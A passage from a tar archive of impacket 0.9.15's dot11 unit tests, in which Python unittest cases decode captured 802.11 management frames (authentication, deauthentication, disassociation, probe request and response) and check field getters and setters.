self.assertEqual(str(self.management_authentication.__class__), "dot11.Dot11ManagementAuthentication")
def test_01(self):
'Test Header and Tail Size field'
self.assertEqual(self.management_base.get_header_size(), 22)
self.assertEqual(self.management_base.get_tail_size(), 0)
self.assertEqual(self.management_authentication.get_header_size(), 17)
self.assertEqual(self.management_authentication.get_tail_size(), 0)
def test_02(self):
'Test Duration field'
self.assertEqual(self.management_base.get_duration(), 0x013a)
self.management_base.set_duration(0x1234)
self.assertEqual(self.management_base.get_duration(), 0x1234)
def test_03(self):
'Test Destination Address field'
addr=self.management_base.get_destination_address()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_destination_address(addr)
self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_04(self):
'Test Source Address field'
addr=self.management_base.get_source_address()
self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_source_address(addr)
self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])
def test_05(self):
'Test BSSID Address field'
addr=self.management_base.get_bssid()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_bssid(addr)
self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_06(self):
'Test Sequence control field'
self.assertEqual(self.management_base.get_sequence_control(), 0xc830)
self.management_base.set_sequence_control(0x1234)
self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
def test_07(self):
'Test Fragment number field'
self.assertEqual(self.management_base.get_fragment_number(), 0x00)
self.management_base.set_fragment_number(0xF1) # Es de 4 bit
self.assertEqual(self.management_base.get_fragment_number(), 0x01)
def test_08(self):
'Test Sequence number field'
self.assertEqual(self.management_base.get_sequence_number(), 3203)
self.management_base.set_sequence_number(0xF234) # Es de 12 bit
self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
def test_09(self):
'Test Management Frame Data field'
frame_body="\x00\x00\x01\x00\x00\x00\xdd\x09\x00\x10\x18\x02\x00\x10\x00\x00\x00"
self.assertEqual(self.management_base.get_frame_body(), frame_body)
def test_10(self):
'Test Management Frame Authentication Algorithm field'
self.assertEqual(self.management_authentication.get_authentication_algorithm(), 0x0000)
self.management_authentication.set_authentication_algorithm(0x8765)
self.assertEqual(self.management_authentication.get_authentication_algorithm(), 0x8765)
def test_11(self):
'Test Management Frame Authentication Sequence field'
self.assertEqual(self.management_authentication.get_authentication_sequence(), 0x0001)
self.management_authentication.set_authentication_sequence(0x8765)
self.assertEqual(self.management_authentication.get_authentication_sequence(), 0x8765)
def test_12(self):
'Test Management Frame Authentication Status field'
self.assertEqual(self.management_authentication.get_authentication_status(), 0x0000)
self.management_authentication.set_authentication_status(0x8765)
self.assertEqual(self.management_authentication.get_authentication_status(), 0x8765)
def test_13(self):
'Test Management Vendor Specific getter/setter methods'
self.assertEqual(self.management_authentication.get_vendor_specific(), [("\x00\x10\x18","\x02\x00\x10\x00\x00\x00")])
self.management_authentication.add_vendor_specific("\x00\x00\x40","\x04\x04\x04\x04\x04\x04")
self.assertEqual(self.management_authentication.get_vendor_specific(),
[("\x00\x10\x18","\x02\x00\x10\x00\x00\x00"),
("\x00\x00\x40","\x04\x04\x04\x04\x04\x04"),
])
self.assertEqual(self.management_authentication.get_header_size(), 28)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementAuthenticationFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameManagementDeauthentication.py 0000600 0000765 0000000 00000011557 12734531507 030056 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11ManagementFrame,Dot11ManagementDeauthentication
from ImpactDecoder import RadioTapDecoder
from binascii import hexlify
import unittest
class TestDot11ManagementBeaconFrames(unittest.TestCase):
def setUp(self):
# 802.11 Management Frame
#
self.rawframe='\x00\x00\x10\x00\x6e\x00\x00\x00\x00\x02\x94\x09\xa0\x00\x3a\x00\xc0\x00\x3a\x01\x00\x15\xaf\x64\xac\xbd\x00\x18\x39\xc1\xfc\xe2\x00\x18\x39\xc1\xfc\xe2\x20\x3b\x0f\x00'
self.radiotap_decoder = RadioTapDecoder()
radiotap=self.radiotap_decoder.decode(self.rawframe)
self.assertEqual(str(radiotap.__class__), "dot11.RadioTap")
self.dot11=radiotap.child()
self.assertEqual(str(self.dot11.__class__), "dot11.Dot11")
type = self.dot11.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
subtype = self.dot11.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION)
typesubtype = self.dot11.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DEAUTHENTICATION)
self.management_base=self.dot11.child()
self.assertEqual(str(self.management_base.__class__), "dot11.Dot11ManagementFrame")
self.management_deauthentication=self.management_base.child()
self.assertEqual(str(self.management_deauthentication.__class__), "dot11.Dot11ManagementDeauthentication")
def test_01(self):
'Test Header and Tail Size field'
self.assertEqual(self.management_base.get_header_size(), 22)
self.assertEqual(self.management_base.get_tail_size(), 0)
self.assertEqual(self.management_deauthentication.get_header_size(), 2)
self.assertEqual(self.management_deauthentication.get_tail_size(), 0)
def test_02(self):
'Test Duration field'
self.assertEqual(self.management_base.get_duration(), 0x013a)
self.management_base.set_duration(0x1234)
self.assertEqual(self.management_base.get_duration(), 0x1234)
def test_03(self):
'Test Destination Address field'
addr=self.management_base.get_destination_address()
self.assertEqual(addr.tolist(), [0x00,0x15,0xAF,0x64,0xAC,0xBD])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_destination_address(addr)
self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x15,0xAF,0x64,0xAC,0x34])
def test_04(self):
'Test Source Address field'
addr=self.management_base.get_source_address()
self.assertEqual(addr.tolist(), [0x00,0x18,0x39,0xC1,0xFC,0xE2])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_source_address(addr)
self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x18,0x39,0xC1,0xFC,0x34])
def test_05(self):
'Test BSSID Address field'
addr=self.management_base.get_bssid()
self.assertEqual(addr.tolist(), [0x00,0x18,0x39,0xC1,0xFC,0xE2])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_bssid(addr)
self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0x39,0xC1,0xFC,0x34])
def test_06(self):
'Test Sequence control field'
self.assertEqual(self.management_base.get_sequence_control(), 0x3b20)
self.management_base.set_sequence_control(0x1234)
self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
def test_07(self):
'Test Fragment number field'
self.assertEqual(self.management_base.get_fragment_number(), 0x00)
self.management_base.set_fragment_number(0xF1) # Es de 4 bit
self.assertEqual(self.management_base.get_fragment_number(), 0x01)
def test_08(self):
'Test Sequence number field'
self.assertEqual(self.management_base.get_sequence_number(), 946)
self.management_base.set_sequence_number(0xF234) # Es de 12 bit
self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
def test_09(self):
'Test Management Frame Data field'
frame_body="\x0f\x00"
self.assertEqual(self.management_base.get_frame_body(), frame_body)
def test_10(self):
'Test Management Reason Code field'
self.assertEqual(self.management_deauthentication.get_reason_code(), 0x000f)
self.management_deauthentication.set_reason_code(0x8765)
self.assertEqual(self.management_deauthentication.get_reason_code(), 0x8765)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementBeaconFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameManagementDisassociation.py 0000600 0000765 0000000 00000011643 12734531507 027536 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11ManagementFrame,Dot11ManagementDisassociation
from ImpactDecoder import RadioTapDecoder
from binascii import hexlify
import unittest
class TestDot11ManagementDisassociationFrames(unittest.TestCase):
def setUp(self):
# 802.11 Management Frame
#
self.rawframe="\x00\x00\x1c\x00\xef\x18\x00\x00\xe7\x8a\xec\xb8\x3b\x00\x00\x00\x10\x02\x85\x09\xa0\x00\xb5\x9d\x60\x00\x00\x18\xa0\x00\x3a\x01\x00\x18\xf8\x6c\x76\x42\x70\x1a\x04\x54\xe3\x86\x00\x18\xf8\x6c\x76\x42\x70\x92\x08\x00\xbf\x1b\xa3\xa8"
self.radiotap_decoder = RadioTapDecoder()
radiotap=self.radiotap_decoder.decode(self.rawframe)
self.assertEqual(str(radiotap.__class__), "dot11.RadioTap")
self.dot11=radiotap.child()
self.assertEqual(str(self.dot11.__class__), "dot11.Dot11")
type = self.dot11.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
subtype = self.dot11.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION)
typesubtype = self.dot11.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DISASSOCIATION)
self.management_base=self.dot11.child()
self.assertEqual(str(self.management_base.__class__), "dot11.Dot11ManagementFrame")
self.management_disassociation=self.management_base.child()
self.assertEqual(str(self.management_disassociation.__class__), "dot11.Dot11ManagementDisassociation")
def test_01(self):
'Test Header and Tail Size field'
self.assertEqual(self.management_base.get_header_size(), 22)
self.assertEqual(self.management_base.get_tail_size(), 0)
self.assertEqual(self.management_disassociation.get_header_size(), 2)
self.assertEqual(self.management_disassociation.get_tail_size(), 0)
def test_02(self):
'Test Duration field'
self.assertEqual(self.management_base.get_duration(), 0x013a)
self.management_base.set_duration(0x1234)
self.assertEqual(self.management_base.get_duration(), 0x1234)
def test_03(self):
'Test Destination Address field'
addr=self.management_base.get_destination_address()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_destination_address(addr)
self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_04(self):
'Test Source Address field'
addr=self.management_base.get_source_address()
self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_source_address(addr)
self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])
def test_05(self):
'Test BSSID Address field'
addr=self.management_base.get_bssid()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_bssid(addr)
self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_06(self):
'Test Sequence control field'
self.assertEqual(self.management_base.get_sequence_control(), 0x9270)
self.management_base.set_sequence_control(0x1234)
self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
def test_07(self):
'Test Fragment number field'
self.assertEqual(self.management_base.get_fragment_number(), 0x00)
self.management_base.set_fragment_number(0xF1) # Es de 4 bit
self.assertEqual(self.management_base.get_fragment_number(), 0x01)
def test_08(self):
'Test Sequence number field'
self.assertEqual(self.management_base.get_sequence_number(), 2343)
self.management_base.set_sequence_number(0xF234) # Es de 12 bit
self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
def test_09(self):
'Test Management Frame Data field'
frame_body="\x08\x00"
self.assertEqual(self.management_base.get_frame_body(), frame_body)
def test_10(self):
'Test Management Reason Code field'
self.assertEqual(self.management_disassociation.get_reason_code(), 0x0008)
self.management_disassociation.set_reason_code(0x8765)
self.assertEqual(self.management_disassociation.get_reason_code(), 0x8765)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementDisassociationFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameManagementProbeRequest.py 0000600 0000765 0000000 00000013756 12734531507 027211 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11ManagementFrame,Dot11ManagementProbeRequest
from ImpactDecoder import RadioTapDecoder
from binascii import hexlify
import unittest
class TestDot11ManagementProbeRequestFrames(unittest.TestCase):
def setUp(self):
# 802.11 Management Frame
#
self.rawProbeRequestframe='\x00\x00\x18\x00\x2e\x48\x00\x00\x00\x02\x85\x09\xa0\x00\xda\x01\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x23\x4d\x13\xf9\x1b\xff\xff\xff\xff\xff\xff\x90\x45\x00\x05\x64\x6c\x69\x6e\x6b\x01\x08\x02\x04\x0b\x16\x0c\x12\x18\x24\x32\x04\x30\x48\x60\x6c'
self.radiotap_decoder = RadioTapDecoder()
radiotap=self.radiotap_decoder.decode(self.rawProbeRequestframe)
self.assertEqual(str(radiotap.__class__), "dot11.RadioTap")
self.dot11=radiotap.child()
self.assertEqual(str(self.dot11.__class__), "dot11.Dot11")
type = self.dot11.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
subtype = self.dot11.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST)
typesubtype = self.dot11.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_REQUEST)
self.management_base=self.dot11.child()
self.assertEqual(str(self.management_base.__class__), "dot11.Dot11ManagementFrame")
self.management_probe_request=self.management_base.child()
self.assertEqual(str(self.management_probe_request.__class__), "dot11.Dot11ManagementProbeRequest")
def test_01(self):
'Test Header and Tail Size field'
self.assertEqual(self.management_base.get_header_size(), 22)
self.assertEqual(self.management_base.get_tail_size(), 0)
self.assertEqual(self.management_probe_request.get_header_size(), 23)
self.assertEqual(self.management_probe_request.get_tail_size(), 0)
def test_02(self):
'Test Duration field'
self.assertEqual(self.management_base.get_duration(), 0x0000)
self.management_base.set_duration(0x1234)
self.assertEqual(self.management_base.get_duration(), 0x1234)
def test_03(self):
'Test Destination Address field'
addr=self.management_base.get_destination_address()
self.assertEqual(addr.tolist(), [0xFF,0xFF,0xFF,0xFF,0xFF,0xFF])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_destination_address(addr)
self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0xFF,0xFF,0xFF,0xFF,0x34])
def test_04(self):
'Test Source Address field'
addr=self.management_base.get_source_address()
self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x13,0xf9,0x1b])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_source_address(addr)
self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x23,0x4d,0x13,0xf9,0x34])
def test_05(self):
'Test BSSID Address field'
addr=self.management_base.get_bssid()
self.assertEqual(addr.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_bssid(addr)
self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34])
def test_06(self):
'Test Sequence control field'
self.assertEqual(self.management_base.get_sequence_control(), 0x4590)
self.management_base.set_sequence_control(0x1234)
self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
def test_07(self):
'Test Fragment number field'
self.assertEqual(self.management_base.get_fragment_number(), 0x00)
self.management_base.set_fragment_number(0xF1) # Es de 4 bit
self.assertEqual(self.management_base.get_fragment_number(), 0x01)
def test_08(self):
'Test Sequence number field'
self.assertEqual(self.management_base.get_sequence_number(), 1113)
self.management_base.set_sequence_number(0xF234) # Es de 12 bit
self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
def test_09(self):
'Test Management Frame Data field'
frame_body="\x00\x05\x64\x6c\x69\x6e\x6b\x01\x08\x02\x04\x0b\x16\x0c\x12\x18\x24\x32\x04\x30\x48\x60\x6c"
self.assertEqual(self.management_base.get_frame_body(), frame_body)
def test_10(self):
'Test Management ssid getter/setter methods'
act_ssid="dlink"
new_ssid="holala"
self.assertEqual(self.management_probe_request.get_ssid(), act_ssid)
self.management_probe_request.set_ssid(new_ssid)
self.assertEqual(self.management_probe_request.get_ssid(), new_ssid)
self.assertEqual(self.management_probe_request.get_header_size(), 23+len(new_ssid)-len(act_ssid))
def test_11(self):
'Test Management supported_rates getter/setter methods'
self.assertEqual(self.management_probe_request.get_supported_rates(), (0x02,0x04,0x0b,0x16,0x0c,0x12,0x18,0x24) )
self.assertEqual(self.management_probe_request.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 6.0, 9.0, 12.0, 18.0) )
self.management_probe_request.set_supported_rates((0x04,0x0b,0x16,0x0c,0x12,0x18))
self.assertEqual(self.management_probe_request.get_supported_rates(), (0x04,0x0b,0x16,0x0c,0x12,0x18))
self.assertEqual(self.management_probe_request.get_supported_rates(human_readable=True), (2.0, 5.5, 11.0, 6.0, 9.0, 12.0) )
self.assertEqual(self.management_probe_request.get_header_size(), 23-2)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementProbeRequestFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameManagementProbeResponse.py 0000600 0000765 0000000 00000025277 12734531507 027360 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11ManagementFrame,Dot11ManagementProbeResponse
from ImpactDecoder import RadioTapDecoder
from binascii import hexlify
import unittest
class TestDot11ManagementProbeResponseFrames(unittest.TestCase):
def setUp(self):
# 802.11 Management Frame
#
self.rawProbeResponseframe='\x00\x00\x18\x00\x2e\x48\x00\x00\x00\x02\x85\x09\xa0\x00\xb0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x3a\x01\x00\x21\xfe\x39\x3f\x77\x00\x1b\x11\x32\x66\x23\x00\x1b\x11\x32\x66\x23\x20\x73\x7f\xa0\x22\xf8\x3f\x01\x00\x00\x64\x00\x11\x04\x00\x07\x66\x72\x65\x65\x62\x73\x64\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c\x03\x01\x06\x2a\x01\x04\x2f\x01\x04\x32\x04\x0c\x12\x18\x60\xdd\x75\x00\x50\xf2\x04\x10\x4a\x00\x01\x10\x10\x44\x00\x01\x02\x10\x41\x00\x01\x00\x10\x3b\x00\x01\x03\x10\x47\x00\x10\x11\x4e\xf7\x46\xa9\xc6\xfb\x1d\x70\x1b\x00\x1b\x11\x32\x66\x23\x10\x21\x00\x06\x44\x2d\x4c\x69\x6e\x6b\x10\x23\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x24\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x42\x00\x08\x30\x30\x30\x30\x30\x30\x30\x30\x10\x54\x00\x08\x00\x06\x00\x50\xf2\x04\x00\x01\x10\x11\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x08\x00\x02\x00\x8e\xdd\x05\x00\x50\xf2\x05\x00\xdd\x09\x00\x10\x18\x02\x01\xf0\x00\x00\x00\xdd\x18\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x00\x00'
self.radiotap_decoder = RadioTapDecoder()
radiotap=self.radiotap_decoder.decode(self.rawProbeResponseframe)
self.assertEqual(str(radiotap.__class__), "dot11.RadioTap")
self.dot11=radiotap.child()
self.assertEqual(str(self.dot11.__class__), "dot11.Dot11")
type = self.dot11.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
subtype = self.dot11.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE)
typesubtype = self.dot11.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_RESPONSE)
self.management_base=self.dot11.child()
self.assertEqual(str(self.management_base.__class__), "dot11.Dot11ManagementFrame")
self.management_probe_response=self.management_base.child()
self.assertEqual(str(self.management_probe_response.__class__), "dot11.Dot11ManagementProbeResponse")
def test_01(self):
'Test Header and Tail Size field'
self.assertEqual(self.management_base.get_header_size(), 22)
self.assertEqual(self.management_base.get_tail_size(), 0)
self.assertEqual(self.management_probe_response.get_header_size(), 209)
self.assertEqual(self.management_probe_response.get_tail_size(), 0)
def test_02(self):
'Test Duration field'
self.assertEqual(self.management_base.get_duration(), 0x013a)
self.management_base.set_duration(0x1234)
self.assertEqual(self.management_base.get_duration(), 0x1234)
def test_03(self):
'Test Destination Address field'
addr=self.management_base.get_destination_address()
self.assertEqual(addr.tolist(), [0x00,0x21,0xFE,0x39,0x3F,0x77])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_destination_address(addr)
self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x21,0xFE,0x39,0x3F,0x34])
def test_04(self):
'Test Source Address field'
addr=self.management_base.get_source_address()
self.assertEqual(addr.tolist(), [0x00,0x1B,0x11,0x32,0x66,0x23])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_source_address(addr)
self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1B,0x11,0x32,0x66,0x34])
def test_05(self):
'Test BSSID Address field'
addr=self.management_base.get_bssid()
self.assertEqual(addr.tolist(), [0x00,0x1B,0x11,0x32,0x66,0x23])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_bssid(addr)
self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x1B,0x11,0x32,0x66,0x34])
def test_06(self):
'Test Sequence control field'
self.assertEqual(self.management_base.get_sequence_control(), 0x7320)
self.management_base.set_sequence_control(0x1234)
self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
def test_07(self):
'Test Fragment number field'
self.assertEqual(self.management_base.get_fragment_number(), 0x00)
self.management_base.set_fragment_number(0xF1) # It's 4 bits long
self.assertEqual(self.management_base.get_fragment_number(), 0x01)
def test_08(self):
'Test Sequence number field'
self.assertEqual(self.management_base.get_sequence_number(), 1842)
self.management_base.set_sequence_number(0xF234) # It's 12 bits long
self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
def test_09(self):
'Test Management Frame Data field'
frame_body="\x7f\xa0\x22\xf8\x3f\x01\x00\x00\x64\x00\x11\x04\x00\x07\x66\x72\x65\x65\x62\x73\x64\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c\x03\x01\x06\x2a\x01\x04\x2f\x01\x04\x32\x04\x0c\x12\x18\x60\xdd\x75\x00\x50\xf2\x04\x10\x4a\x00\x01\x10\x10\x44\x00\x01\x02\x10\x41\x00\x01\x00\x10\x3b\x00\x01\x03\x10\x47\x00\x10\x11\x4e\xf7\x46\xa9\xc6\xfb\x1d\x70\x1b\x00\x1b\x11\x32\x66\x23\x10\x21\x00\x06\x44\x2d\x4c\x69\x6e\x6b\x10\x23\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x24\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x42\x00\x08\x30\x30\x30\x30\x30\x30\x30\x30\x10\x54\x00\x08\x00\x06\x00\x50\xf2\x04\x00\x01\x10\x11\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x08\x00\x02\x00\x8e\xdd\x05\x00\x50\xf2\x05\x00\xdd\x09\x00\x10\x18\x02\x01\xf0\x00\x00\x00\xdd\x18\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x00\x00"
self.assertEqual(self.management_base.get_frame_body(), frame_body)
def test_10(self):
'Test Management Beacon Timestamp field'
self.assertEqual(self.management_probe_response.get_timestamp(), 0x0000013FF822A07F)
self.management_probe_response.set_timestamp(0x8765432101234567)
self.assertEqual(self.management_probe_response.get_timestamp(), 0x8765432101234567)
def test_11(self):
'Test Management Beacon Inteval field'
self.assertEqual(self.management_probe_response.get_beacon_interval(), 0x0064)
self.management_probe_response.set_beacon_interval(0x4321)
self.assertEqual(self.management_probe_response.get_beacon_interval(), 0x4321)
def test_12(self):
'Test Management Beacon Capabilities field'
self.assertEqual(self.management_probe_response.get_capabilities(), 0x0411)
self.management_probe_response.set_capabilities(0x4321)
self.assertEqual(self.management_probe_response.get_capabilities(), 0x4321)
def test_13(self):
'Test Management ssid getter/setter methods'
act_ssid="freebsd"
new_ssid="holala"
self.assertEqual(self.management_probe_response.get_ssid(), act_ssid)
self.management_probe_response.set_ssid(new_ssid)
self.assertEqual(self.management_probe_response.get_ssid(), new_ssid)
self.assertEqual(self.management_probe_response.get_header_size(), 209-1)
def test_14(self):
'Test Management supported_rates getter/setter methods'
self.assertEqual(self.management_probe_response.get_supported_rates(), (0x82,0x84,0x8b,0x96,0x24,0x30,0x48,0x6c) )
self.assertEqual(self.management_probe_response.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0 ) )
self.management_probe_response.set_supported_rates((0x84,0x8b,0x96,0x24,0x30,0x48))
self.assertEqual(self.management_probe_response.get_supported_rates(), (0x84,0x8b,0x96,0x24,0x30,0x48) )
self.assertEqual(self.management_probe_response.get_supported_rates(human_readable=True), ( 2.0, 5.5, 11.0, 18.0, 24.0, 36.0 ) )
self.assertEqual(self.management_probe_response.get_header_size(), 209-2)
def test_15(self):
'Test Management DS Parameter Set getter/setter methods'
self.assertEqual(self.management_probe_response.get_ds_parameter_set(), 6 )
self.management_probe_response.set_ds_parameter_set(40)
self.assertEqual(self.management_probe_response.get_ds_parameter_set(), 40 )
self.assertEqual(self.management_probe_response.get_header_size(), 209)
def test_16(self):
'Test Management Vendor Specific getter/setter methods'
self.assertEqual(self.management_probe_response.get_vendor_specific(),
[("\x00\x50\xf2", "\x04\x10\x4a\x00\x01\x10\x10\x44\x00\x01\x02\x10\x41\x00\x01\x00\x10\x3b\x00\x01\x03\x10\x47\x00\x10\x11\x4e\xf7\x46\xa9\xc6\xfb\x1d\x70\x1b\x00\x1b\x11\x32\x66\x23\x10\x21\x00\x06\x44\x2d\x4c\x69\x6e\x6b\x10\x23\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x24\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x42\x00\x08\x30\x30\x30\x30\x30\x30\x30\x30\x10\x54\x00\x08\x00\x06\x00\x50\xf2\x04\x00\x01\x10\x11\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x08\x00\x02\x00\x8e"),
("\x00\x50\xf2", "\x05\x00"),
("\x00\x10\x18","\x02\x01\xf0\x00\x00\x00"),
("\x00\x50\xf2","\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x00\x00"),
])
self.management_probe_response.add_vendor_specific("\x00\x00\x40","\x04\x04\x04\x04\x04\x04")
self.assertEqual(self.management_probe_response.get_vendor_specific(),
[("\x00\x50\xf2","\x04\x10\x4a\x00\x01\x10\x10\x44\x00\x01\x02\x10\x41\x00\x01\x00\x10\x3b\x00\x01\x03\x10\x47\x00\x10\x11\x4e\xf7\x46\xa9\xc6\xfb\x1d\x70\x1b\x00\x1b\x11\x32\x66\x23\x10\x21\x00\x06\x44\x2d\x4c\x69\x6e\x6b\x10\x23\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x24\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x42\x00\x08\x30\x30\x30\x30\x30\x30\x30\x30\x10\x54\x00\x08\x00\x06\x00\x50\xf2\x04\x00\x01\x10\x11\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x08\x00\x02\x00\x8e"),
("\x00\x50\xf2","\x05\x00"),
("\x00\x10\x18","\x02\x01\xf0\x00\x00\x00"),
("\x00\x50\xf2","\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x00\x00"),
("\x00\x00\x40","\x04\x04\x04\x04\x04\x04"),
])
self.assertEqual(self.management_probe_response.get_header_size(), 209+6+3+2)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementProbeResponseFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameManagementReassociationRequest.py 0000600 0000765 0000000 00000021454 12734531507 030737 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11ManagementFrame, Dot11ManagementReassociationRequest
from ImpactDecoder import RadioTapDecoder
from binascii import hexlify
import unittest
class TestDot11ManagementReassociationRequestFrames(unittest.TestCase):
def setUp(self):
# 802.11 Management Frame
#
